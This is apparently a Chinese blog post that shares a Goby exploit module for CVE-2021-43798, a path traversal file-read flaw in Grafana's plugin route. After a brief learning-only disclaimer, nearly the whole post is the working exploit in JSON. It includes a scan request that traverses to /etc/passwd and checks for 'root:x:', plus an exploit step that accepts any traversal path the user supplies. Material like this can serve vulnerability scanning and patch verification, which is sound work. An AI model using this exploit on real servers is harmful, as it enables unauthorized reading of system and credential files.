Grafana任意文件读取漏洞（CVE-2021-43798）

最新推荐文章于 2025-01-13 23:31:49 发布

aetkrad

最新推荐文章于 2025-01-13 23:31:49 发布

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分类专栏： exp 文章标签：安全 CVE-2021-43798 Grafana 任意文件读取

本文链接：https://blog.youkuaiyun.com/cch139745/article/details/121789702

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Grafana任意文件读取漏洞（CVE-2021-43798） goby exp

声明
代码
poc集合

声明

本程序仅供于学习交流，请使用者遵守《中华人民共和国网络安全法》，勿将此脚本用于非授权的测试，脚本开发者不负任何连带法律责任。

代码

{
      "Name": "Grafana Plugins Arbitrary File Read CVE-2021-43798",
      "Level": "3",
      "Tags": [
            "fileread"
      ],
      "GobyQuery": "( app=\"Grafana\" | title==\"Grafana\" )",
      "Description": "Grafana是用于可视化大型测量数据的开源程序，他提供了强大和优雅的方式去创建、共享、浏览数据。dashboard中显示了你不同metric数据源中的数据。通过默认存在的插件，可构造特殊的请求包读取服务器任意文件。",
      "Product": "Grafana",
      "Homepage": "https://grafana.com/",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [
            "https://mp.weixin.qq.com/s/DTkVTtbndaMWL9WGzaI32A"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Path",
                  "Type": "input",
                  "Value": "../../../../../../../../../etc/passwd"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/public/plugins/welcome/../../../../../../../../../etc/passwd",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root:x:",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "daemon:x:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/public/plugins/welcome/{{{Path}}}",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "PostTime": "2021-12-08 13:56:21",
      "GobyVersion": "1.9.310"
}